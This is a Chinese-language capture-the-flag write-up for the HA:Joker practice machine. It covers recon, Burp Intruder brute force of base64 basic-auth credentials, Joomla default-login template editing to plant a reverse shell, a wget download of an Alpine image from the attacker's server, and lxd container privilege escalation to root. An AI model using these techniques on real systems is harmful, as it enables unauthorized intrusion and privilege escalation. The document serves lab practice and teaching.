从0到1靶机渗透实例之HA:joker

  • A+

前言

国庆过后事情慢慢没那么多了,我就开始整理了一下这个靶机的WP。

这次靶机整体难度不算高,而且整个镜像也不大,适合新手练手使用。

```
环境

靶机:

HA:Joker(ubuntu)

Filename: joker.zip

File size: 856 MB

MD5: F34A2D25CF07D119F4E19D7D0FCC3DE2

SHA1: 380E9DABF9623901843ADE2A1D5BD567C2BD5A02

攻击机:kalilinux

难度:中

```

测试流程

  1. 信息搜集

    靶机文件导入到vmare啥的基本配置咱就不废话了,不过需要注意的是在我的机器上导入后网络连接需要手动设置为NAT模式,如果你的虚拟机网络配置模式不是NAT可能会扫描不到靶机IP。
    启动靶机,使用kali自带的网段扫描工具netdiscover扫描。

OK可以看到192.168.26.143为我们的靶机IP,然后浏览器中访问该地址。

然后常规思路,查看源代码

然而这个靶机的提示其实不在这...
靶机的描述中有提示,最下面一行的意思是“枚举才是关键”


这个页面本身没有找到什么有价值的提示信息,所以我们扫描该IP开放的端口看看有什么发现


Nmap -A 192.168.26.143得到靶机除了常规端口之外还开放了一个8080端口,访问一波看看

需要登录,用户名其实已经提示的很明显了,就是Joker。但是关于密码并没有找到什么有价值的提示信息。所以我决定返回刚才的80端口站点看看有没有什么提示,使用kali的dirb扫描工具扫到了一个奇怪的txt文件


其实这种提示我也是有点懵...

在求助了某不存在的网站上的大佬之后,得到了这个提示文件的关键词rock和100.

Kali自带了一个名为rockyou.txt的密码字典,100的意思就是取字典的前100个...

使用head命令取出rockyou.txt文件的前100个密码:

因为我物理机是Windows环境,所以我把这个文件另存到本地rockyou.txt文件中。

然后启动神器burp,查看一下8080端口服务的登录请求


这里的数据应该就是我们的登录凭证,base64解码看下格式

登陆凭证的格式为用户名:密码然后再经过一次base64编码。

burp中将数据包发送到Intuder标记数据包中的登录账号密码

因为登录时会将账号和密码编码后再发送,所以我们需要把字典文件稍微做点变动。

这样字典文件变为


导入到burp的intruder中,在下面的PayloadProcessing中添加一个使用base64加密的规则


完事之后点击startattack开始爆破密码


很快得到一个和其他返回数据大小不一样的数据包,对这个值进行base64解码


现在我们账号joker密码hannah都有了,再次登录

到这里提示就很明显了,这个站点使用了joomla这个CMS,登录处尝试了joomla的默认账号密码joomla之后成功登录到管理员账户。

2. getshell

登录到后台

账号密码均为joomla

找了一圈发现在后台的模板修改功能中可以直接修改php文件——可以直接将模板文件中的PHP文件替换为反弹shell文件。

选择模板

接着修改index.php文件

将index.php文件修改为反弹shell代码,注意这里的ip地址,如果你是在物理机操作,将这个ip修改为你自己的本机ip。修改完成后点击save保存index.php文件。

然后我们的物理机启动nc监控1234端口同时点击TemplatePreview按钮预览index.php文件

Shell成功反弹。
我们得到反弹回来的shell功能并不完整,需要使用python的pty模块创建一个模拟终端环境,这样才可以正确执行Linux命令。
执行python3 -c 'importpty;pty.spwan("/bin/bash")'

进入靶机后,使用id命令显示用户的ID,以及所属群组的ID,可以看到目前我们登录的这个账户名为www-data,所属组中还有一个特殊的lxd组,这个特殊的组就是我们提权的关键点。

3. 提权

想要提升为root权限,我们需要给靶机挂载一个lxd镜像。可以在kali或者自己的服务器上从github下载build-alpine文件,然后执行build-alpine这个shell脚本。“build-alpine”,将以压缩文件的形式构建最新的Alpine镜像,最后我们需要在靶机中下载这个镜像。
```
git clone https://github.com/saghul/lxd-alpine-builder.git

cd lxd-alpine-builder

./build-alpine

```


完成后会生成一个最新的alpine镜像

接着我们需要把这个文件发到靶机上,这里我使用的是kali自带的一个简易HTTP服务器,使用命令python -m SimpleHTTPServer

在靶机上使用wget命令获取到镜像文件并挂载到系统中,同时定义该镜像别名为myimage
```
wget http://192.168.1.107:8000/alpine-v3.10-x86_64-20191019_0712.tar.gz

lxc image import ./alpine-v3.10-x86_64-20191022_2218.tar.gz --alias myimage

lxc image list
这里需要注意一点的是,在靶机的根目录不能执行wget命令,因为权限限制会报错
![](http://mmbiz.qpic.cn/mmbiz_png/0O7ep2c6dwMamNFKJ9qunG2ad0Sibhutd8lUnmxkmmYMicxYsmSJWmyN7gKVUhjhiciawEBWLP8yEZGiccMd2uPKj0w/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)
需要先切换到tmp临时文件目录
![](http://mmbiz.qpic.cn/mmbiz_png/0O7ep2c6dwMamNFKJ9qunG2ad0SibhutdTtLU2agNcFzbUbBkYsErwtvicIrtpZGKBkPHcZjQibsvqibvsRVZUg5dw/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)
![](http://mmbiz.qpic.cn/mmbiz_png/0O7ep2c6dwMamNFKJ9qunG2ad0SibhutdGAjtWyGJW7hqib3uknWLAnJp1k1OH3tlNRvcNMdSXDLtweYGtELyq9Q/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)

lxc init myimage ignite -c security.privileged=true

lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true

lxc start ignite

lxc exec ignite /bin/sh

id

cd /mnt/root/root

ls

cat final.txt
```
最后,我们把容器挂载到/root目录中。进入容器后通过/mnt/root可以看到靶机的所有文件。执行完脚本文件后,我们的shell操作符发生变化,代表我们现在进入的是容器的shell操作页面。这个容器拥有该靶机的root权限,也就是我们通过容器成功提权。这个时候其实整个靶机的渗透测试就已经结束了,不过还有一个flag文件在root目录下,cat命令查看final.txt获取flag.

不过这里我在测试的时候,使用Windows查看final.txt文件发现图标乱码了,而且通过xshell连接kali虚拟机也不能正常显示这个文件。


使用kali图形界面中的终端可以看到最终效果

总结

这就是整个joker靶机渗透测试的全部过程了,整个过程的关键点有两个,一个是前期的爆破,提示文件都比较隐蔽而且有一些电影文化元素的影响,刚开始我盯着那个页面源代码中的注释看了一天也没得头绪,明知道需要爆破但是没有什么方向。还有那个secret.txt提示文件,我也是看了半天也没想到就是指的kali自带的密码字典。

然后就是lxd容器提权,这就是经验积累的问题了,如果没有遇到过这种情况可能会比较难想到使用这种技术提权。初学渗透测试,希望各位大佬多多赐教。